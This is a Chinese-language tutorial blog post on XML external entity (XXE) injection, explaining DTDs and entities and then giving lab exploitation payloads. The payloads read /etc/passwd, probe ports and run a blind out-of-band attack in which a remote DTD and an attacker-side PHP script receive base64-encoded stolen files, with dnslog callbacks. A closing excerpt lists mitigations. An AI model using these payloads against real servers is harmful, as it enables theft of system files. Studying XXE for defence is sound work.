【网络安全】XXE--XML外部实体注入

XXE定义

XML外部实体注入(XML EXTERNAL ENTITY)简称XXE漏洞,概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

XML初识

菜鸟xml概念

在这里插入图片描述

初识DTD

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:“to、from、heading,、body”
!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

解答疑虑1:!DOCTYPE是干什么用的

在这里插入图片描述

疑虑2:!ELEMENT是干什么用的

在这里插入图片描述

疑虑3:#PCDATA是干什么用的

在这里插入图片描述

疑虑4:为什么元素要再次声明类型

在这里插入图片描述

内部实体外部实体的区别
内部实体
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
实体可以理解为变量
writer = Donald Duck.
copyright = Copyright runoob.com


如何引用:
元素标签内+ &writer;
例子:<heading>&writer;</heading>

总结:就是在xml内部进行定义变量,就是所谓的内部实体
外部实体
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
理解为:
writer = "http://www.runoob.com/entities.dtd"
copyright = "http://www.runoob.com/entities.dtd"
SYSTEM 在引用外部实体的时候需要加SYSTEM

如何引用:
元素标签内+ &writer;
例子:<heading>&writer;</heading>

总结:外部实体就是引用外部的文件
通用实体引用
创建文件aaa.dtd
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
引用方式:
<?xml version='1.1' encoding='utf-8'>
<!DOCTYPE note [
<!ELEMENT % file SYSTEM "http://www.runoob.com/aaa.dtd>"
%file;
]>
<note>

xxe漏洞利用

有回显
判断靶场是否存在回显
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer "test">
]>
<name>&writer;</name>

在这里插入图片描述

利用file协议读取敏感信息
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'file:///etc/passwd'>
]>
<name>&writer;</name>

在这里插入图片描述

win 请读取文件c:/windows/win.ini

探测端口
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM '127.0.0.1:3306'>
]>
<name>&writer;</name>
无回显
利用http伪协议读取敏感信息
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
]>
<name>&writer;</name>

在这里插入图片描述
在这里插入图片描述

利用服务器攻击服务器漏洞获取敏感信息(待补充)
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
5up4ga.dnslog.cn
<!ENTITY % remove SYSTEM 'http://192.168.0.22/home/kali/test/bbb.dtd'>
%remove; 
%all;
%send;
]>
<name>&writer;</name>

攻击方服务器启动目录准备php和dtd文件

<?
$file='./test.txt';
$content=base64_decode($_GET['file']);
file_put_contents($file,$content);
echo "\n";
?>
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://本地服务ip/php文件'?file=%file;'>"
>
利用dnslog平台检测是否访问
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'http://qw1j8c.dnslog.cn'>
]>
<name>&writer;</name>

<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % writer SYSTEM 'http://qw1j8c.dnslog.cn'>
%writer;
]>

在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XML外部实体注入漏洞(XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值